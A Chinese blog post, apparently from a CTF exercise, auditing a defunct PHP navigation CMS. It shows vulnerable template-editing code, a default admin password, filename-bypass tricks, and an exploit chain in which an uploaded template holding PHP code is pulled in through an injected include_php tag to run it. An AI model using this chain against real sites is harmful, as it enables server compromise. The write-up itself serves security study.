科威盒子导航系统代码审计过程总结

前言
还是要从bugku上的一道实战题目说起,其实事后才发现,自己在错误的道路上越走越远,故有此文。


0x01 官方思路
题目地址:http://120.24.86.145:9006
一波目录扫描,发现1.zip文件,果断下载解压,是网站源码。其中有包含flag的文件名flag-asd.txt,访问之即得答案。
0x02 漏洞搜集
事实上大多数人都会从这里开始,首先搜集科威盒子相关漏洞信息,主要有以下两个:

  1. SQL注入漏洞
  2. 任意文件下载漏洞
    通过注入漏洞可以顺利得到后台账号密码,这里就不多说了,admin/a1234567直接登录后台。

0x03 审计之旅
因为代码就功能层逻辑结构比较简单,先是通篇扫了一下,主要发现几个鸡肋漏洞。

  1. 任意tpl文件上传覆盖
    漏洞发生在admin/skin_edit.php页面。
<?php
require_once 'inc.php';

$type = !empty( $_GET['type'] ) ? trim( $_GET['type'] ) : "";
$name = !empty( $_GET['name'] ) ? trim( $_GET['name'] ) : "";
...
} elseif( $type == "ok" )
{
    $path = ROOT.'/templates/'.$name.'/'.$_GET['aa'].'.tpl';
    file_put_contents( $path ,$_POST['content']);
    $templates->assign("msg","修改模板成功!");
    $templates->display( templates ( 'msg.tpl' ) );
}
?>

type、name和aa变量均可控,因此可以修改任意模版文件。
这里存在一个小tips,由于路径可控,可以利用windows下的命名规则绕过上传,比如上传aa=1.php:,windows下会生成1.php但是却无法写入文件,但是P牛写过在IIS下,可以利用<<<向写入内容。

  1. 科威框架解析
    科威也是封装了底层框架,就在快要放弃之际,偶然发现在templates_c目录下发现大量php文件,并且里面内容为模板信息。再次点燃希望。

科威每次都是使用类似MVC的模式进行加载,每次都会读取tpl模版文件处理后并展示,整个逻辑框架如下:
1.png

我先是测试了直接向tpl文件中写入php代码,但它在编译时会过滤<?php、?>等敏感字符,就js加载php也被过滤掉了,这里尝试后未解。
0x03 峰回路转
在审计的过程中,include/smarty/Smarty_Compiler.class.php编译文件中的模版tags处理函数引起了我的兴趣,主要代码如下:

function _compile_tag($template_tag)
{
 ....
    switch ($tag_command) {
        case 'include':
            return $this->_compile_include_tag($tag_args);

        case 'include_php':
            return $this->_compile_include_php_tag($tag_args);
 ...

主要意思是如果模板文件中出现include_php标签,则会调用文件包含函数。后面就不做过多分析,就是将任意文件进行include()包含,从而引发文件包含漏洞。
0x04 漏洞利用
首先上传一个test.tpl文件,注意文件路径,这里以/admin/为例,内容为php执行代码:

<?php phpinfo();?>

3.png

再修改/admin/templates/index.tpl文件为,构造include_php标签为:

<!--Kw[include_php file="test.tpl"]-->

4.png

访问/admin/index.php,即加载恶意执行代码
5.png

0x05 后记
也没有必要提供什么修复方案了,反正科威好像早就关门了。主要是学习下审计,锻炼下能力吧。

猜你喜欢

转载自blog.csdn.net/vspiders/article/details/79947816
今日推荐